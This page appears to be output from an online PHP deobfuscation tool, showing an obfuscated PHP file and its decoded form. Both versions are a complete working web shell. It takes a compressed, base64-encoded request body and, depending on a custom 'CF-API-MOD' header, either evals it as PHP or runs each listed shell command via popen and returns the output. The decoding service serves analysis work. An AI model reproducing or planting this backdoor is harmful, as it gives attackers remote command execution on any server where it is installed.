Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto c50Hd; OJ9At: ini_set("\144\151\163\x70\x6c\x61\171\137\x65\162\162\x6f\x72\1..

Decoded Output download

<?php 
 goto c50Hd; OJ9At: ini_set("display_errors", "On"); goto RBmdy; O6sHM: error_reporting(E_ALL); goto OJ9At; DkPtp: class t2x11 { public $mVVmC = ''; function __construct() { goto QZb3X; JEYlN: $this->dYiI1(); goto Iwmqb; QZb3X: if (!($JBTIy = t90oh("file_get_contents", "php://input"))) { goto g2OTr; } goto pm48r; pumYI: if ($Omkg5 === 1) { goto s0gHi; } goto RxUfY; AcebR: goto FKdZU; goto LiRBC; b5HII: s0gHi: goto ZCM8B; Iwmqb: FKdZU: goto nDaBE; LiRBC: yioSD: goto JEYlN; pm48r: $this->mVVmC = $this->cY5iD($this->avnDy($JBTIy)); goto cSEpN; fO5Er: goto FKdZU; goto b5HII; qtFDu: $Omkg5 = intval($_SERVER["HTTP_CF_API_MOD"] ?? 0); goto pumYI; cSEpN: g2OTr: goto qtFDu; RxUfY: if ($Omkg5 === 2) { goto yioSD; } goto fO5Er; ZCM8B: $this->BpdlN(); goto AcebR; nDaBE: } function bpDln() { eval("?>" . $this->mVVmC); } function aVNDy($pbK7v) { return T90oh("base64_decode", $pbK7v); } function cY5iD($pbK7v) { return t90OH("gzuncompress", $pbK7v); } function PsSZ2($GGiwk) { $K8RRV = "
-------------------------
"; return "{$K8RRV}{$GGiwk}{$K8RRV}"; } function dYiI1() { goto G7rXC; PBMQC: goto kz31i; goto VR7E5; LhMcI: Uw7JS: goto t5sAq; drYE0: if (!@ob_end_flush()) { goto TawAW; } goto PBMQC; G7rXC: $EPEnw = t90Oh("json_decode", [$this->mVVmC, true]); goto XnvFm; VR7E5: TawAW: goto Y8XWt; Y8XWt: foreach ($EPEnw as $fSNow) { goto nY5wW; nY5wW: echo $this->pSsz2("==> CMD: {$fSNow}"); goto SB8JF; cWMO5: if (feof($AlUq0)) { goto GD2h8; } goto E0lZ3; tUNhi: GD2h8: goto kOHHw; OndJX: goto CSIxV; goto tUNhi; kOHHw: DgxxG: goto f3uOA; E0lZ3: echo fread($AlUq0, 4096); goto R3qbG; nALVl: CSIxV: goto cWMO5; SB8JF: $AlUq0 = popen($fSNow, "r"); goto nALVl; R3qbG: @flush(); goto OndJX; f3uOA: } goto LhMcI; XnvFm: kz31i: goto drYE0; t5sAq: } } goto KkCle; KkCle: function t90oH($bDqRj, $hXYa_) { goto uQX4r; ijdZ3: $hXYa_ = [$hXYa_]; goto Dskme; h6cKa: return $bDqRj(...$hXYa_); goto ZbYFX; Dskme: AGAj3: goto h6cKa; uQX4r: if (!is_string($hXYa_)) { goto AGAj3; } goto ijdZ3; ZbYFX: } goto JvUzO; RBmdy: set_time_limit(0); goto DkPtp; c50Hd: echo "\xa"; goto O6sHM; JvUzO: new T2X11(); ?>

Did this file decode correctly?

Original Code

<?php
 goto c50Hd; OJ9At: ini_set("\144\151\163\x70\x6c\x61\171\137\x65\162\162\x6f\x72\163", "\117\156"); goto RBmdy; O6sHM: error_reporting(E_ALL); goto OJ9At; DkPtp: class t2x11 { public $mVVmC = ''; function __construct() { goto QZb3X; JEYlN: $this->dYiI1(); goto Iwmqb; QZb3X: if (!($JBTIy = t90oh("\146\x69\154\x65\137\147\145\164\137\143\157\x6e\164\x65\156\164\x73", "\x70\150\x70\x3a\x2f\57\151\x6e\x70\165\x74"))) { goto g2OTr; } goto pm48r; pumYI: if ($Omkg5 === 1) { goto s0gHi; } goto RxUfY; AcebR: goto FKdZU; goto LiRBC; b5HII: s0gHi: goto ZCM8B; Iwmqb: FKdZU: goto nDaBE; LiRBC: yioSD: goto JEYlN; pm48r: $this->mVVmC = $this->cY5iD($this->avnDy($JBTIy)); goto cSEpN; fO5Er: goto FKdZU; goto b5HII; qtFDu: $Omkg5 = intval($_SERVER["\x48\124\x54\x50\137\x43\x46\137\101\x50\111\x5f\115\117\104"] ?? 0); goto pumYI; cSEpN: g2OTr: goto qtFDu; RxUfY: if ($Omkg5 === 2) { goto yioSD; } goto fO5Er; ZCM8B: $this->BpdlN(); goto AcebR; nDaBE: } function bpDln() { eval("\x3f\x3e" . $this->mVVmC); } function aVNDy($pbK7v) { return T90oh("\142\141\x73\145\x36\64\x5f\144\x65\143\157\x64\x65", $pbK7v); } function cY5iD($pbK7v) { return t90OH("\147\172\x75\x6e\143\157\x6d\x70\x72\145\163\x73", $pbK7v); } function PsSZ2($GGiwk) { $K8RRV = "\12\x2d\x2d\55\55\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\55\x2d\55\55\55\x2d\x2d\55\x2d\x2d\x2d\55\12"; return "{$K8RRV}{$GGiwk}{$K8RRV}"; } function dYiI1() { goto G7rXC; PBMQC: goto kz31i; goto VR7E5; LhMcI: Uw7JS: goto t5sAq; drYE0: if (!@ob_end_flush()) { goto TawAW; } goto PBMQC; G7rXC: $EPEnw = t90Oh("\x6a\163\x6f\156\137\x64\145\x63\157\x64\x65", [$this->mVVmC, true]); goto XnvFm; VR7E5: TawAW: goto Y8XWt; Y8XWt: foreach ($EPEnw as $fSNow) { goto nY5wW; nY5wW: echo $this->pSsz2("\x3d\75\76\40\x43\x4d\104\x3a\x20{$fSNow}"); goto SB8JF; cWMO5: if (feof($AlUq0)) { goto GD2h8; } goto E0lZ3; tUNhi: GD2h8: goto kOHHw; OndJX: goto CSIxV; goto tUNhi; kOHHw: DgxxG: goto f3uOA; E0lZ3: echo fread($AlUq0, 4096); goto R3qbG; nALVl: CSIxV: goto cWMO5; SB8JF: $AlUq0 = popen($fSNow, "\x72"); goto nALVl; R3qbG: @flush(); goto OndJX; f3uOA: } goto LhMcI; XnvFm: kz31i: goto drYE0; t5sAq: } } goto KkCle; KkCle: function t90oH($bDqRj, $hXYa_) { goto uQX4r; ijdZ3: $hXYa_ = [$hXYa_]; goto Dskme; h6cKa: return $bDqRj(...$hXYa_); goto ZbYFX; Dskme: AGAj3: goto h6cKa; uQX4r: if (!is_string($hXYa_)) { goto AGAj3; } goto ijdZ3; ZbYFX: } goto JvUzO; RBmdy: set_time_limit(0); goto DkPtp; c50Hd: echo "\xa"; goto O6sHM; JvUzO: new T2X11();

Function Calls

None

Variables

None

Stats

MD5 17474b3bf902d31e5a49c6c60dfeff34
Eval Count 0
Decode Time 46 ms